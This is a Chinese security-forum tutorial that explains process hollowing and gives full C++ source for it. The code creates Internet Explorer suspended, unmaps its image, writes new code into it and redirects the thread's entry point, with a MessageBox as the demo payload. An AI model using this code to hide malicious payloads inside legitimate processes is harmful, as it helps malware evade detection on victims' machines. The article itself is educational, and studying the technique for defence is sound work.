问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
傀儡进程的分析与实现
# 前言 对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。 # 基础知识 ## 挂起方式创建进程 我们知道如果进程创建之后会在内存空间进行拉伸,那么...
前言 == 对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。 基础知识 ==== 挂起方式创建进程 -------- 我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。 我们知道创建进程用到`CreateProcess`这个函数,首先看下结构 ```c++ BOOL CreateProcess( LPCTSTR lpApplicationName, // 应用程序名称 LPTSTR lpCommandLine, // 命令行字符串 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性 BOOL bInheritHandles, // 是否继承父进程的属性 DWORD dwCreationFlags, // 创建标志 LPVOID lpEnvironment, // 指向新的环境块的指针 LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针 LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息 LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息 ); ``` 其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数 **lpProcessAttributes** 为`CreateProcess`结构中的第三个成员,指向`SECURITY_ATTRIBUTES`结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承 ```c++ typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; //结构体的大小 LPVOID lpSecurityDescriptor; //安全描述符 BOOL bInheritHandle; //指定返回的句柄是否被继承 } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES; ``` **lpThreadAttributes** 为`CreateProcess`结构中的第四个成员,指向`SECURITY_ATTRIBUTES`结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承 ```c++ typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; //结构体的大小 LPVOID lpSecurityDescriptor; //安全描述符 BOOL bInheritHandle; //指定返回的句柄是否被继承 } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES; ``` 那么这里验证一下挂起进程之后就不能够对进程进行操作 父进程代码,创建一个ie浏览器的进程并调用`CreateProcess`创建子进程 ```c++ // win32 create process3.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> int main(int argc, char* argv[]) { char szBuffer[256] = {0}; char szHandle[8] = {0}; SECURITY_ATTRIBUTES ie_sa_p; ie_sa_p.nLength = sizeof(ie_sa_p); ie_sa_p.lpSecurityDescriptor = NULL; ie_sa_p.bInheritHandle = TRUE; SECURITY_ATTRIBUTES ie_sa_t; ie_sa_t.nLength = sizeof(ie_sa_t); ie_sa_t.lpSecurityDescriptor = NULL; ie_sa_t.bInheritHandle = TRUE; //创建一个可以被继承的内核对象,此处是个进程 STARTUPINFO ie_si = {0}; PROCESS_INFORMATION ie_pi; ie_si.cb = sizeof(ie_si); TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe"); CreateProcess( NULL, szCmdline, &ie_sa_p, &ie_sa_t, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &ie_si, &ie_pi); //组织命令行参数 sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread); sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle); //定义创建进程需要用的结构体 STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); //创建子进程 BOOL res = CreateProcess( NULL, szBuffer, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); return 0; } ``` 子进程代码如下,这里获取到子进程的句柄之后,使用`SuspendThread`挂起进程,等待5s后使用`ResumeThread`恢复进程 ```c++ // win32 create process4.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> int main(int argc, char* argv[]) { DWORD dwProcessHandle = -1; DWORD dwThreadHandle = -1; char szBuffer[256] = {0}; memcpy(szBuffer,argv[1],8); sscanf(szBuffer,"%x",&dwProcessHandle); memset(szBuffer,0,256); memcpy(szBuffer,argv[2],8); sscanf(szBuffer,"%x",&dwThreadHandle); printf("获取IE进程、主线程句柄\n"); Sleep(5000); //挂起主线程 printf("挂起主线程\n"); ::SuspendThread((HANDLE)dwThreadHandle); Sleep(5000); //恢复主线程 ::ResumeThread((HANDLE)dwThreadHandle); printf("恢复主线程\n"); Sleep(5000); //关闭ID进程 ::TerminateProcess((HANDLE)dwProcessHandle,1); ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE); printf("ID进程已经关闭.....\n"); char szBuffer[256] = {0}; GetCurrentDirectory(256,szBuffer); printf("%s\n",szBuffer); getchar(); return 0; } ``` 这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程 本来这里是搞了一个gif的,gif上传不上来,就用图片演示下吧 首先是获取IE进程 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b69289d57b8ab4e0aeb8513dc47beb4bd4359e7.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b69289d57b8ab4e0aeb8513dc47beb4bd4359e7.jpg) sleep()之后挂起进程,这里点IE的任何地方都是点不动的 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-84e902461ed43f669e5c3b9b20d9ffa119937a59.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-84e902461ed43f669e5c3b9b20d9ffa119937a59.png) 再恢复主线程即可点动 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-dd0b86dd21a610b6ae6730bd5f04e5c8ac5072a0.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-dd0b86dd21a610b6ae6730bd5f04e5c8ac5072a0.png) 以挂起模式启动进程,只需要改一个地方,就是`CreateProcess`的第六个成员,设置为`CREATE_SUSPENDED`(非活动状态)即可,挂起之后使用`ResumeThread`恢复执行 ```c++ // win32 create process3.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> int main(int argc, char* argv[]) { STARTUPINFO ie_si = {0}; PROCESS_INFORMATION ie_pi; ie_si.cb = sizeof(ie_si); TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe"; CreateProcess( NULL, szBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &ie_si, &ie_pi ); //恢复执行 ResumeThread(ie_pi.hThread); return 0; } ``` 实现效果如下,这里使用挂起模式创建`notepad`,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用`ResumeThread`恢复执行之后就是一个正常的进程 这里也是gif上传不上来,就用图片演示下吧 正常模式我直接启动程序不太明显,因为没有设置sleep(),所以`ResumeThread()`很快就执行完了 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-71bb0ca062effa8662ad91516e0fc5ecdcf2c255.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-71bb0ca062effa8662ad91516e0fc5ecdcf2c255.jpg) 这里我在`ResumeThread()`这个地方设置一个断点,发现在没有走恢复进程这个地方的时候,是没有记事本的窗口弹出来的,但是任务管理器却有进程,这就是挂起模式启动进程 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-05851cf12ee10d66b36f901a17b5763d580defd5.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-05851cf12ee10d66b36f901a17b5763d580defd5.png) 实现过程 ==== 知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。 这里我使用了一个内核api`ZwUnmapViewOfSection`,用来清空之前内存里面的数据 那么首先我们把创建进程这部分写一个单独的函数 使用`CREATE_SUSPENDED`挂起创建进程的方式 ```c++ CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); ``` 再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下 ```c++ BOOL CreateIEProcess() { wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe"; STARTUPINFO si = { 0 }; si.cb = sizeof(si); BOOL bRet; x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); if (bRet) { printf("Create IE successfully!\n\n"); } else { printf("Create IE failed\n\n"); } return bRet; } ``` 然后使用内核api`ZwUnmapViewOfSection`卸载创建这个基质内存空间的数据,这里先看下`ZwUnmapViewOfSection`的结构 ```c++ NTSTATUS ZwUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); ``` 这个函数在`wdm.h`里面声明,那我们使用`ntdll.dll`将这个api加载进来 ```c++ ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); ``` 然后使用`GetModuleHandleA`获取模块基址 ```c++ HMODULE hModuleBase = GetModuleHandleA(NULL); ``` 使用`GetCurModuleSize`获取映像大小 ```c++ DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase); ``` 每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到`GetThreadContext` ```c++ Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext(pi.hThread, &Thread); ``` 下一步我们需要知道程序的基址,这里我用到PEB结构和`ReadProcessMemory`来获取,首先看下PEB的结构 ```c++ root> dt_peb nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 SpareBits : Pos 1, 7 Bits +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void ``` `ImageBaseAddress`在+0x008这个位置,所以这个地方`ReadProcessMemory`的参数就是PEB+8 ```c++ DWORD GetRemoteProcessImageBase(DWORD dwPEB) { DWORD dwBaseAddr; ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL); return dwBaseAddr; } ``` 使用`ZwUnmapViewOfSection`来卸载空间数据 ```c++ ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase); ``` 卸载完空间数据之后,用`VirtualAllocEx`重新为我们创建的进程申请一块空间 ```c++ VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); ``` 然后使用`WriteProcessMemory`写入 ```c++ WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL); ``` 在写入完成之后使用`GetThreadContext`,设置获取标志为 CONTEXT\_FULL,即获取新进程中所有的线程上下文 ```c++ ThreadCxt.ContextFlags = CONTEXT_FULL; ``` 然后修改eip指向我们自己的函数地址,这里写一个MessageBox ```c++ DWORD GetNewOEP() { return (DWORD)MessageBox; } void MessageBox() { MessageBoxA(0, "Inject successfully", "", 0); } Threadna.Eip = GetNewOEP(); ``` 完整代码如下 ```c++ #include <windows.h> #include <tchar.h> #include <iostream> using namespace std; typedef long NTSTATUS; typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)( IN HANDLE ProcessHandle, IN LPVOID BaseAddress ); pfnZwUnmapViewOfSection ZwUnmapViewOfSection; PROCESS_INFORMATION pi = { 0 }; BOOL CreateEXE() { wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe"; STARTUPINFO si = { 0 }; si.cb = sizeof(si); BOOL bRet; bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); if (bRet) { printf("[*] Create process successfully!\n\n"); } else { printf("[!] Create process failed\n\n"); } return bRet; } DWORD GetCurModuleSize(DWORD dwModuleBase) { PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase; PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew); return pNtHdr->OptionalHeader.SizeOfImage; } DWORD GetRemoteProcessImageBase(DWORD dwPEB) { DWORD dwBaseRet; ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL); return dwBaseRet; } void Mess() { MessageBoxA(0, "Inject successfully", "", 0); } DWORD GetNewOEP() { return (DWORD)Mess; } int _tmain(int argc, _TCHAR* argv[]) { ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection); if (!ZwUnmapViewOfSection) { printf("[!] ZwUnmapViewOfSection failed\n\n"); exit(1); } if (!CreateEXE()) { printf("[!] Create Process failed\n\n"); exit(1); } printf("[*] The process PID is : %d\n\n", pi.dwProcessId); HMODULE hModuleBase = GetModuleHandleA(NULL); DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase); CONTEXT Thread; Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext(pi.hThread, &Thread); DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx); ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase); LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAllocAddr) { printf("[*] VirtualAllocEx successfully!\n\n"); } else { printf("[!] VirtualAllocEx failed\n\n"); return FALSE; } if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) { printf("[!] WriteProcessMemory failed\n\n"); return FALSE; } else { printf("[*] WriteProcessMemory successfully!\n\n"); } Thread.ContextFlags = CONTEXT_FULL; Thread.Eip = GetNewOEP(); SetThreadContext(pi.hThread, &Thread); if (-1 == ResumeThread(pi.hThread)) { printf("[!] ResumeThread failed\n\n"); return FALSE; } else { printf("[*] ResumeThread successfully!\n\n"); } } ``` 实现效果 ==== 到这我们的函数就已经成功了,运行一下弹出了messagebox,证明傀儡进程实现成功 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f4af2a5d334c945cd4f515fec08f6f69462711cd.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f4af2a5d334c945cd4f515fec08f6f69462711cd.png)
发表于 2021-11-02 10:24:53
阅读 ( 6984 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!